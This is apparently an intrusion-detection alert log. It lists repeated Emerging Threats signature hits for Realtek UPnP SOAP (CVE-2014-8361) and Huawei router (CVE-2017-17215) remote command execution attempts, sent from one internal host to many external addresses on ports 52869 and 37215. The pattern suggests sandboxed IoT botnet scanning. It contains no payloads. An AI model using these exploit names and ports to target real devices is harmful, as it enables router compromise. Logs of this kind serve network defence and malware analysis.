07/20/24-23:10:43.804824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46024	52869	192.168.2.15	137.140.74.50
07/20/24-23:10:48.709947	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40876	52869	192.168.2.15	71.216.86.69
07/20/24-23:10:39.478846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39428	37215	192.168.2.15	169.37.171.79
07/20/24-23:10:44.044261	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36654	52869	192.168.2.15	115.217.213.84
07/20/24-23:10:51.971547	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40236	52869	192.168.2.15	195.202.70.255
07/20/24-23:10:39.431804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37834	37215	192.168.2.15	197.43.242.43
07/20/24-23:10:47.889965	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42208	52869	192.168.2.15	166.45.141.212
07/20/24-23:11:06.676715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33862	37215	192.168.2.15	157.192.171.213
07/20/24-23:10:42.249913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49030	37215	192.168.2.15	41.164.37.122
07/20/24-23:10:44.637464	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52598	52869	192.168.2.15	161.93.54.6
07/20/24-23:10:39.478846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41756	37215	192.168.2.15	157.17.105.247
07/20/24-23:10:46.756315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44882	37215	192.168.2.15	41.124.203.108
07/20/24-23:10:52.581805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56144	37215	192.168.2.15	157.159.94.26
07/20/24-23:10:44.684061	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60756	52869	192.168.2.15	132.70.73.95
07/20/24-23:10:40.649804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45246	37215	192.168.2.15	47.62.169.96
07/20/24-23:10:39.073690	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40888	52869	192.168.2.15	175.109.109.84
07/20/24-23:11:06.686627	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45470	37215	192.168.2.15	41.171.119.77
07/20/24-23:10:59.023708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57426	37215	192.168.2.15	41.119.93.56
07/20/24-23:10:40.604940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47126	37215	192.168.2.15	197.224.162.113
07/20/24-23:10:40.601389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47874	37215	192.168.2.15	41.8.250.84
07/20/24-23:10:47.410885	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48880	52869	192.168.2.15	1.176.202.8
07/20/24-23:10:44.769466	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33484	52869	192.168.2.15	87.46.238.224
07/20/24-23:11:06.680204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51942	37215	192.168.2.15	67.67.26.116
07/20/24-23:10:39.495983	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37364	37215	192.168.2.15	197.14.81.255
07/20/24-23:10:42.624844	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48724	52869	192.168.2.15	96.224.29.242
07/20/24-23:10:46.724339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58012	37215	192.168.2.15	157.82.96.118
07/20/24-23:10:42.621912	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38156	52869	192.168.2.15	219.152.75.176
07/20/24-23:10:51.908570	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49966	52869	192.168.2.15	196.54.140.130
07/20/24-23:10:40.652868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42416	37215	192.168.2.15	67.53.114.65
07/20/24-23:10:51.988569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38082	52869	192.168.2.15	63.75.117.57
07/20/24-23:10:49.341206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35524	37215	192.168.2.15	41.144.229.43
07/20/24-23:10:51.950529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57804	52869	192.168.2.15	71.5.90.99
07/20/24-23:10:40.650979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53814	37215	192.168.2.15	197.40.81.92
07/20/24-23:10:51.995612	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57520	52869	192.168.2.15	75.64.8.241
07/20/24-23:10:42.249182	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57660	37215	192.168.2.15	34.6.52.231
07/20/24-23:10:47.779765	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36036	52869	192.168.2.15	79.14.113.77
07/20/24-23:10:52.005273	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54290	52869	192.168.2.15	111.84.141.243
07/20/24-23:10:51.900659	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53666	52869	192.168.2.15	43.91.208.66
07/20/24-23:10:51.991411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41228	52869	192.168.2.15	141.20.236.188
07/20/24-23:11:06.680205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44258	37215	192.168.2.15	92.86.251.63
07/20/24-23:10:52.547373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33626	37215	192.168.2.15	41.68.95.71
07/20/24-23:10:52.007232	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39612	52869	192.168.2.15	74.125.66.82
07/20/24-23:10:52.540929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55732	37215	192.168.2.15	157.120.190.93
07/20/24-23:11:03.396635	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37348	37215	192.168.2.15	41.166.112.173
07/20/24-23:10:46.817180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38080	37215	192.168.2.15	155.193.235.193
07/20/24-23:10:42.249913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44486	37215	192.168.2.15	180.203.254.113
07/20/24-23:10:39.198702	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38462	52869	192.168.2.15	37.21.17.204
07/20/24-23:10:42.248264	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57070	37215	192.168.2.15	157.183.11.184
07/20/24-23:10:52.578509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36184	37215	192.168.2.15	157.233.99.183
07/20/24-23:10:56.046357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33846	37215	192.168.2.15	222.64.252.118
07/20/24-23:10:44.666926	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52020	52869	192.168.2.15	92.195.216.129
07/20/24-23:10:46.756315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55828	37215	192.168.2.15	41.171.160.169
07/20/24-23:11:06.696229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52454	37215	192.168.2.15	188.57.61.95
07/20/24-23:10:42.621600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39290	52869	192.168.2.15	217.58.36.234
07/20/24-23:10:59.011093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60848	37215	192.168.2.15	41.12.135.208
07/20/24-23:10:46.756934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48050	37215	192.168.2.15	197.211.68.113
07/20/24-23:10:51.940106	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39762	52869	192.168.2.15	123.14.61.21
07/20/24-23:10:59.046417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50932	37215	192.168.2.15	197.22.161.137
07/20/24-23:10:40.652868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45842	37215	192.168.2.15	41.30.145.239
07/20/24-23:10:42.250388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36558	37215	192.168.2.15	157.117.24.91
07/20/24-23:10:46.642556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43354	52869	192.168.2.15	71.203.107.81
07/20/24-23:10:52.033728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46466	52869	192.168.2.15	183.106.234.57
07/20/24-23:10:47.943388	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44534	52869	192.168.2.15	60.111.115.239
07/20/24-23:11:06.678578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51440	37215	192.168.2.15	41.136.135.90
07/20/24-23:10:51.906948	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49152	52869	192.168.2.15	146.67.192.198
07/20/24-23:10:52.045896	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45006	52869	192.168.2.15	88.192.240.239
07/20/24-23:10:52.010300	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49654	52869	192.168.2.15	42.250.239.223
07/20/24-23:10:59.027427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44526	37215	192.168.2.15	197.136.4.32
07/20/24-23:10:51.940556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46112	52869	192.168.2.15	120.182.174.145
07/20/24-23:10:49.341206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49770	37215	192.168.2.15	122.127.38.178
07/20/24-23:10:52.047583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34010	52869	192.168.2.15	86.217.29.78
07/20/24-23:10:56.011930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55132	37215	192.168.2.15	202.46.173.51
07/20/24-23:10:39.912761	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43734	52869	192.168.2.15	203.39.100.182
07/20/24-23:10:46.832505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53432	37215	192.168.2.15	128.195.53.217
07/20/24-23:11:06.687949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58884	37215	192.168.2.15	41.176.127.22
07/20/24-23:10:39.486941	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55870	37215	192.168.2.15	157.104.229.164
07/20/24-23:10:39.487319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55246	37215	192.168.2.15	197.55.78.55
07/20/24-23:10:40.652868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55578	37215	192.168.2.15	14.66.203.138
07/20/24-23:10:42.637523	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34248	52869	192.168.2.15	167.160.225.22
07/20/24-23:10:43.220759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58788	52869	192.168.2.15	197.206.241.145
07/20/24-23:10:41.232616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51524	37215	192.168.2.15	157.119.224.103
07/20/24-23:10:47.563542	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34788	52869	192.168.2.15	197.242.200.156
07/20/24-23:11:06.662677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38100	37215	192.168.2.15	197.157.220.94
07/20/24-23:10:52.571075	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34266	37215	192.168.2.15	41.27.25.162
07/20/24-23:10:49.360961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60984	37215	192.168.2.15	41.26.16.215
07/20/24-23:10:41.241817	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59968	37215	192.168.2.15	41.110.199.66
07/20/24-23:10:52.578509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58006	37215	192.168.2.15	79.135.225.176
07/20/24-23:10:41.224086	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44576	37215	192.168.2.15	197.141.80.64
07/20/24-23:10:40.656564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34744	37215	192.168.2.15	41.160.166.27
07/20/24-23:10:52.010300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42234	52869	192.168.2.15	86.99.249.186
07/20/24-23:10:42.269853	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48768	37215	192.168.2.15	41.64.175.189
07/20/24-23:10:56.046357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57642	37215	192.168.2.15	60.235.44.38
07/20/24-23:10:49.421978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38992	37215	192.168.2.15	197.177.32.57
07/20/24-23:11:06.679232	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60588	37215	192.168.2.15	41.116.21.37
07/20/24-23:10:59.029814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58742	37215	192.168.2.15	41.250.42.92
07/20/24-23:10:52.571075	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40740	37215	192.168.2.15	197.104.3.213
07/20/24-23:11:03.382352	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35752	37215	192.168.2.15	157.72.242.187
07/20/24-23:10:44.808575	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33248	52869	192.168.2.15	171.218.135.148
07/20/24-23:10:51.988569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57458	52869	192.168.2.15	194.51.38.79
07/20/24-23:10:52.004017	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59888	52869	192.168.2.15	83.178.139.14
07/20/24-23:10:46.809208	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51976	37215	192.168.2.15	197.246.92.161
07/20/24-23:10:52.581805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48414	37215	192.168.2.15	197.105.235.145
07/20/24-23:10:39.166048	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51080	52869	192.168.2.15	85.126.23.91
07/20/24-23:10:43.197086	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38332	52869	192.168.2.15	92.216.196.59
07/20/24-23:10:59.011093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57184	37215	192.168.2.15	41.72.2.21
07/20/24-23:10:59.028826	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40050	37215	192.168.2.15	35.193.189.57
07/20/24-23:10:49.420934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43624	37215	192.168.2.15	157.19.219.100
07/20/24-23:10:51.902170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51204	52869	192.168.2.15	164.168.209.243
07/20/24-23:10:43.202899	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39300	52869	192.168.2.15	14.45.204.86
07/20/24-23:10:44.257621	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50480	52869	192.168.2.15	141.113.230.124
07/20/24-23:10:39.173718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35130	52869	192.168.2.15	32.169.224.65
07/20/24-23:10:41.241455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57188	37215	192.168.2.15	197.154.192.149
07/20/24-23:10:59.028826	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58844	37215	192.168.2.15	197.118.67.109
07/20/24-23:10:42.266163	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41162	37215	192.168.2.15	41.86.2.56
07/20/24-23:10:52.010300	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39322	52869	192.168.2.15	167.111.167.13
07/20/24-23:11:03.390577	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34800	37215	192.168.2.15	115.117.47.110
07/20/24-23:10:59.055793	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36878	37215	192.168.2.15	197.41.140.52
07/20/24-23:10:39.122108	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38068	52869	192.168.2.15	17.96.206.10
07/20/24-23:10:42.625971	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38770	52869	192.168.2.15	17.96.206.10
07/20/24-23:10:42.630809	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47378	52869	192.168.2.15	1.160.86.11
07/20/24-23:10:40.607363	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51210	37215	192.168.2.15	211.150.213.32
07/20/24-23:10:42.625971	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44092	52869	192.168.2.15	183.79.5.78
07/20/24-23:10:46.768902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49988	37215	192.168.2.15	197.103.32.66
07/20/24-23:10:40.604940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32902	37215	192.168.2.15	41.151.166.61
07/20/24-23:10:44.177599	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52272	52869	192.168.2.15	77.241.200.75
07/20/24-23:10:42.248237	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46134	37215	192.168.2.15	157.9.212.7
07/20/24-23:10:42.633392	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52092	52869	192.168.2.15	104.126.44.136
07/20/24-23:10:42.639392	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54964	52869	192.168.2.15	13.3.106.56
07/20/24-23:10:47.803323	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45810	52869	192.168.2.15	201.121.155.5
07/20/24-23:10:52.531229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44638	37215	192.168.2.15	197.53.142.163
07/20/24-23:11:06.678578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51644	37215	192.168.2.15	221.141.247.0
07/20/24-23:10:52.521111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45182	37215	192.168.2.15	131.117.56.72
07/20/24-23:10:40.649994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48536	37215	192.168.2.15	197.213.153.141
07/20/24-23:10:52.549474	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41722	37215	192.168.2.15	41.85.205.73
07/20/24-23:10:39.387844	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52008	52869	192.168.2.15	23.244.107.142
07/20/24-23:10:52.581035	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49338	37215	192.168.2.15	197.155.165.246
07/20/24-23:10:46.865461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38794	37215	192.168.2.15	197.254.121.226
07/20/24-23:10:42.636830	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54778	52869	192.168.2.15	203.62.78.235
07/20/24-23:10:45.653136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56026	52869	192.168.2.15	71.5.90.99
07/20/24-23:10:52.007232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46358	52869	192.168.2.15	171.65.238.111
07/20/24-23:10:39.760924	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49320	52869	192.168.2.15	14.134.150.109
07/20/24-23:10:39.437234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56992	37215	192.168.2.15	41.242.148.168
07/20/24-23:10:51.957772	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40662	52869	192.168.2.15	122.79.202.98
07/20/24-23:10:58.910194	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36336	37215	192.168.2.15	41.52.217.19
07/20/24-23:10:51.917055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53878	52869	192.168.2.15	195.207.0.55
07/20/24-23:10:42.882095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48602	52869	192.168.2.15	87.147.33.140
07/20/24-23:10:59.027427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40920	37215	192.168.2.15	41.8.189.211
07/20/24-23:10:51.937938	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39462	52869	192.168.2.15	61.1.165.207
07/20/24-23:10:52.007232	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40756	52869	192.168.2.15	119.58.176.87
07/20/24-23:10:56.021160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51470	37215	192.168.2.15	184.48.192.179
07/20/24-23:11:06.687949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54854	37215	192.168.2.15	197.214.102.224
07/20/24-23:11:03.361259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45454	37215	192.168.2.15	197.228.0.150
07/20/24-23:10:58.986541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44918	37215	192.168.2.15	197.137.90.252
07/20/24-23:10:52.016220	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43018	52869	192.168.2.15	95.10.158.177
07/20/24-23:11:06.689940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39502	37215	192.168.2.15	41.56.104.227
07/20/24-23:10:42.250388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38190	37215	192.168.2.15	212.219.251.156
07/20/24-23:10:46.711367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48230	37215	192.168.2.15	41.248.223.251
07/20/24-23:10:44.752904	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42588	52869	192.168.2.15	135.228.190.116
07/20/24-23:11:03.361095	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57212	37215	192.168.2.15	197.144.127.180
07/20/24-23:10:56.073192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33196	37215	192.168.2.15	197.235.225.253
07/20/24-23:10:44.697717	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53862	52869	192.168.2.15	119.6.246.136
07/20/24-23:11:06.706397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47192	37215	192.168.2.15	157.243.168.27
07/20/24-23:10:52.450341	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48800	52869	192.168.2.15	170.247.115.65
07/20/24-23:10:42.619674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33538	52869	192.168.2.15	220.55.101.199
07/20/24-23:10:42.636830	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49720	52869	192.168.2.15	210.2.46.1
07/20/24-23:10:41.233111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40124	37215	192.168.2.15	207.219.56.164
07/20/24-23:10:47.728144	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43120	52869	192.168.2.15	93.91.138.170
07/20/24-23:10:40.367173	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55586	52869	192.168.2.15	126.171.98.117
07/20/24-23:10:56.011930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40266	37215	192.168.2.15	207.205.38.109
07/20/24-23:10:42.619388	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44880	52869	192.168.2.15	19.2.120.96
07/20/24-23:10:40.658204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43890	37215	192.168.2.15	157.182.237.139
07/20/24-23:11:03.396755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43286	37215	192.168.2.15	157.129.244.9
07/20/24-23:10:41.220616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40428	37215	192.168.2.15	118.174.41.159
